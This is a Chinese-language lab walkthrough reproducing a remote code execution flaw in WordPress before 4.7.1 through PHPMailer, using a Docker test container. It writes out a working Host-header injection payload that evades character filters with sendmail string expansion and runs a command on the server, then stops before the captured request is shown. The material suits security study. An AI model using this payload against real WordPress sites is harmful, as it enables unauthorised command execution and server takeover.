环境

攻机:172.16.90.115
image.png

靶机:172.16.90.117
image.png

范围:W**ordPress < 4.7.1 | PHPMailer < 5.2.18**

漏洞发现

靶机—>先输入命令:
docker run -i -t —rm -d -p 80:80 medicean/vulapps:w_wordpress_6 开启wp
docker ps 查看CONTAINER ID
docker exec -it CONTAINER ID /bin/bash
image.png
image.png

firefox访问靶机网站,ok,可以成功访问
image.png

进入靶机查看漏洞文件**class-phpmailer.php,在wp-includes**目录
image.png

phpmailer组件是调用linux系统命令sendmail这个命令来进行邮件发送
命令格式为:sendmail -t -i -fusername@hostname
image.png

3114行,进行审计
serverHostname函数通过传入的SERVER_NAME参数来获取主机名,但是没有进行过滤,导致RCE

但是由于wordpress方面以及PHPMailer库方面都会
防止攻击者注入空字符、斜杠到sendmail命令**中

所以就要构造语句绕过系统的检测,然后通过该方法写入shell
image.png

漏洞条件

  1. 不能包含特殊字符
  2. 命令需为小写
  3. 命令需使用绝对路径
  4. 需要知道现有用户名

注意点:

命令只在服务器端执行命令、不会显示在客户端


漏洞利用

构造payload语句之前我们先回到靶机操作系统容器中,

sendmail -be ‘$tod_log’ 对系统时间进行查看(-be参数为字符串拓展测试命令,该命令可读取一些变量的数据,例如$tod_log文件可显示系统时间)
image.png

sendmail -be ‘${substr{10}{1}{$tod_log}}’ ** 代替空格
image.png

sendmail -be ‘${substr{0}{1}{$spool_directory}}’ **代替斜杠
image.png**

构造的语句为**:**
cc(any -froot@localhost -be ${run{/bin/touch /root/hack.txt}} null)

转换后语句为:
cc(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}root${substr{0}{1}{$spool_directory}}hack.txt}} null)

这里需要找到有ServerName参数的地方

访问http://172.16.90.117/wp-login.php?action=lostpassword,进行抓包,并修改值如下
image.png
image.png